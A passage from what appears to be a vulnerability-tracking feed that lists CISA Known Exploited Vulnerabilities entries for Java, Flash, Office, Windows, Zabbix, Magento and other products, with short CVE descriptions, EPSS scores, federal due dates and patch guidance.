https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle Java SE Runtime Environment (JRE) Arbitrary Code Execution Vulnerability https://kevwire.com/record/CVE-2012-1723 Oracle Java SE Runtime Environment (JRE) Arbitrary Code Execution Vulnerability (Mar 3, 2022). Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE allows remote attackers to affect confidentiality, integrity, and availability via Unknown vectors related to Hotspot. EPSS 93.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-1723&date=2026-10-25). Sources: CISA KEV entry CVE-2012-1723: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-1723&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Arbitrary Code Execution Vulnerability https://kevwire.com/record/CVE-2012-1535 Adobe Flash Player Arbitrary Code Execution Vulnerability (Mar 3, 2022). Unspecified vulnerability in Adobe Flash Player allows remote attackers to execute arbitrary code or cause a denial of service via crafted SWF content. EPSS 70.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-1535&date=2026-10-25). Sources: CISA KEV entry CVE-2012-1535: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-1535&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle Java SE Runtime Environment (JRE) Arbitrary Code Execution Vulnerability https://kevwire.com/record/CVE-2012-0507 Oracle Java SE Runtime Environment (JRE) Arbitrary Code Execution Vulnerability (Mar 3, 2022). An incorrect type vulnerability exists in the Concurrency component of Oracle's Java Runtime Environment allows an attacker to remotely execute arbitrary code. EPSS 98.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-0507&date=2026-10-25). Sources: CISA KEV entry CVE-2012-0507: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-0507&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle Java SE Runtime Environment (JRE) Arbitrary Code Execution Vulnerability https://kevwire.com/record/CVE-2011-3544 Oracle Java SE Runtime Environment (JRE) Arbitrary Code Execution Vulnerability (Mar 3, 2022). An access control vulnerability exists in the Applet Rhino Script Engine component of Oracle's Java Runtime Environment allows an attacker to remotely execute arbitrary code. EPSS 96.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2011-3544&date=2026-10-25). Sources: CISA KEV entry CVE-2011-3544: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2011-3544&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Forefront TMG Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2011-1889 Microsoft Forefront TMG Remote Code Execution Vulnerability (Mar 3, 2022). A remote code execution vulnerability exists in the Forefront Threat Management Gateway (TMG) Firewall Client Winsock provider that could allow code execution in the security context of the client application. EPSS 49.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2011-1889&date=2026-10-25). Sources: CISA KEV entry CVE-2011-1889: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2011-1889&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2011-0611 Adobe Flash Player Remote Code Execution Vulnerability (Mar 3, 2022). Adobe Flash Player contains a vulnerability that allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via crafted Flash content. EPSS 99.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2011-0611&date=2026-10-25). Sources: CISA KEV entry CVE-2011-0611: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2011-0611&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Office Stack-based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2010-3333 Microsoft Office Stack-based Buffer Overflow Vulnerability (Mar 3, 2022). A stack-based buffer overflow vulnerability exists in the parsing of RTF data in Microsoft Office and earlier allows an attacker to perform remote code execution. EPSS 89.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-3333&date=2026-10-25). Sources: CISA KEV entry CVE-2010-3333: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-3333&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Kernel Exception Handler Vulnerability https://kevwire.com/record/CVE-2010-0232 Microsoft Windows Kernel Exception Handler Vulnerability (Mar 3, 2022). The kernel in Microsoft Windows, when access to 16-bit applications is enabled on a 32-bit x86 platform, does not properly validate certain BIOS calls, which allows local users to gain privileges. EPSS 28.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-0232&date=2026-10-25). Sources: CISA KEV entry CVE-2010-0232: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-0232&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Reader and Acrobat Arbitrary Code Execution Vulnerability https://kevwire.com/record/CVE-2010-0188 Adobe Reader and Acrobat Arbitrary Code Execution Vulnerability (Mar 3, 2022). Unspecified vulnerability in Adobe Reader and Acrobat allows attackers to cause a denial of service or possibly execute arbitrary code. EPSS 88.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-0188&date=2026-10-25). Sources: CISA KEV entry CVE-2010-0188: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-0188&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Excel Featheader Record Memory Corruption Vulnerability https://kevwire.com/record/CVE-2009-3129 Microsoft Excel Featheader Record Memory Corruption Vulnerability (Mar 3, 2022). Microsoft Office Excel allows remote attackers to execute arbitrary code via a spreadsheet with a FEATHEADER record containing an invalid cbHdrData size element that affects a pointer offset. EPSS 84.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-3129&date=2026-10-25). Sources: CISA KEV entry CVE-2009-3129: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-3129&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2009-1123 Microsoft Windows Improper Input Validation Vulnerability (Mar 3, 2022). The kernel in Microsoft Windows does not properly validate changes to unspecified kernel objects, which allows local users to gain privileges via a crafted application. EPSS 4.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-1123&date=2026-10-25). Sources: CISA KEV entry CVE-2009-1123: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-1123&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle VirtualBox Insufficient Input Validation Vulnerability https://kevwire.com/record/CVE-2008-3431 Oracle VirtualBox Insufficient Input Validation Vulnerability (Mar 3, 2022). An input validation vulnerability exists in the VBoxDrv.sys driver of Sun xVM VirtualBox which allows attackers to locally execute arbitrary code. EPSS 6.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2008-3431&date=2026-10-25). Sources: CISA KEV entry CVE-2008-3431: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2008-3431&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Reader and Acrobat Input Validation Vulnerability https://kevwire.com/record/CVE-2008-2992 Adobe Reader and Acrobat Input Validation Vulnerability (Mar 3, 2022). Adobe Acrobat and Reader contain an input validation issue in a JavaScript method that could potentially lead to remote code execution. EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2008-2992&date=2026-10-25). Sources: CISA KEV entry CVE-2008-2992: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2008-2992&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2004-0210 Microsoft Windows Privilege Escalation Vulnerability (Mar 3, 2022). A privilege elevation vulnerability exists in the POSIX subsystem. This vulnerability could allow a logged on user to take complete control of the system. EPSS 7.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2004-0210&date=2026-10-25). Sources: CISA KEV entry CVE-2004-0210: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2004-0210&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2002-0367 Microsoft Windows Privilege Escalation Vulnerability (Mar 3, 2022). smss.exe debugging subsystem in Microsoft Windows does not properly authenticate programs that connect to other programs, which allows local users to gain administrator or SYSTEM privileges. EPSS 4.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2002-0367&date=2026-10-25). Sources: CISA KEV entry CVE-2002-0367: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2002-0367&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Synacor Zimbra Collaborate Suite (ZCS) Cross-Site Scripting Vulnerability https://kevwire.com/record/CVE-2022-24682 Synacor Zimbra Collaborate Suite (ZCS) Cross-Site Scripting Vulnerability (Feb 25, 2022). Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting (XSS) vulnerability in the Calendar feature that allows an attacker to execute arbitrary code. EPSS 30.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-24682&date=2026-10-25). Sources: CISA KEV entry CVE-2022-24682: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-24682&date=2026-10-25 CISA added this entry on 2022-02-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 25, 2022; federal due date Mar 11, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Office Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2017-8570 Microsoft Office Remote Code Execution Vulnerability (Feb 25, 2022). A remote code execution vulnerability exists in Microsoft Office software when it fails to properly handle objects in memory. EPSS 89.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-8570&date=2026-10-25). Sources: CISA KEV entry CVE-2017-8570: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-8570&date=2026-10-25 CISA added this entry on 2022-02-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 25, 2022; federal due date Aug 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2017-0222 Microsoft Internet Explorer Remote Code Execution Vulnerability (Feb 25, 2022). A remote code execution vulnerability exists when Internet Explorer improperly accesses objects in memory. EPSS 29.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0222&date=2026-10-25). Sources: CISA KEV entry CVE-2017-0222: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0222&date=2026-10-25 CISA added this entry on 2022-02-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 25, 2022; federal due date Aug 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Code Injection Vulnerability https://kevwire.com/record/CVE-2014-6352 Microsoft Windows Code Injection Vulnerability (Feb 25, 2022). Microsoft Windows allow remote attackers to execute arbitrary code via a crafted OLE object. EPSS 77.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-6352&date=2026-10-25). Sources: CISA KEV entry CVE-2014-6352: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-6352&date=2026-10-25 CISA added this entry on 2022-02-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 25, 2022; federal due date Aug 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Zabbix Frontend Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2022-23131 Zabbix Frontend Authentication Bypass Vulnerability (Feb 22, 2022). Unsafe client-side session storage leading to authentication bypass/instance takeover via Zabbix Frontend with configured SAML. EPSS 95.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-23131&date=2026-10-25). Sources: CISA KEV entry CVE-2022-23131: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-23131&date=2026-10-25 CISA added this entry on 2022-02-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 22, 2022; federal due date Mar 8, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Zabbix Frontend Improper Access Control Vulnerability https://kevwire.com/record/CVE-2022-23134 Zabbix Frontend Improper Access Control Vulnerability (Feb 22, 2022). Malicious actors can pass step checks and potentially change the configuration of Zabbix Frontend. EPSS 95.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-23134&date=2026-10-25). Sources: CISA KEV entry CVE-2022-23134: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-23134&date=2026-10-25 CISA added this entry on 2022-02-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 22, 2022; federal due date Mar 8, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Commerce and Magento Open Source Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2022-24086 Adobe Commerce and Magento Open Source Improper Input Validation Vulnerability (Feb 15, 2022). Adobe Commerce and Magento Open Source contain an improper input validation vulnerability which can allow for arbitrary code execution. EPSS 99.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-24086&date=2026-10-25). Sources: CISA KEV entry CVE-2022-24086: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-24086&date=2026-10-25 CISA added this entry on 2022-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 15, 2022; federal due date Mar 1, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium Animation Use-After-Free Vulnerability https://kevwire.com/record/CVE-2022-0609 Google Chromium Animation Use-After-Free Vulnerability (Feb 15, 2022). Google Chromium Animation contains a use-after-free vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera. EPSS 22.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-0609&date=2026-10-25). Sources: CISA KEV entry CVE-2022-0609: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-0609&date=2026-10-25 CISA added this entry on 2022-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 15, 2022; federal due date Mar 1, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Type Confusion Vulnerability https://kevwire.com/record/CVE-2019-0752 Microsoft Internet Explorer Type Confusion Vulnerability (Feb 15, 2022). A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer EPSS 81.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0752&date=2026-10-25). Sources: CISA KEV entry CVE-2019-0752: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0752&date=2026-10-25 CISA added this entry on 2022-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 15, 2022; federal due date Aug 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows VBScript Engine Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2018-8174 Microsoft Windows VBScript Engine Out-of-Bounds Write Vulnerability (Feb 15, 2022). A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory, aka "Windows VBScript Engine Remote Code Execution" EPSS 88.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8174&date=2026-10-25). Sources: CISA KEV entry CVE-2018-8174: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8174&date=2026-10-25 CISA added this entry on 2022-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 15, 2022; federal due date Aug 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### WinRAR Absolute Path Traversal Vulnerability https://kevwire.com/record/CVE-2018-20250 WinRAR Absolute Path Traversal Vulnerability (Feb 15, 2022). WinRAR Absolute Path Traversal vulnerability leads to Remote Code Execution EPSS 96.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-20250&date=2026-10-25). Sources: CISA KEV entry CVE-2018-20250: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-20250&date=2026-10-25 CISA added this entry on 2022-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 15, 2022; federal due date Aug 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Use-After-Free Vulnerability https://kevwire.com/record/CVE-2018-15982 Adobe Flash Player Use-After-Free Vulnerability (Feb 15, 2022). Adobe Flash Player com.adobe.tvsdk.mediacore.metadata Use After Free Vulnerability EPSS 89.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-15982&date=2026-10-25). Sources: CISA KEV entry CVE-2018-15982: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-15982&date=2026-10-25 CISA added this entry on 2022-02-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Feb 15, 2022; federal due date Aug 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### PHPUnit Command Injection Vulnerability https://kevwire.com/record/CVE-2017-9841 PHPUnit Command Injection Vulnerability (Feb 15, 2022). PHPUnit allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "= 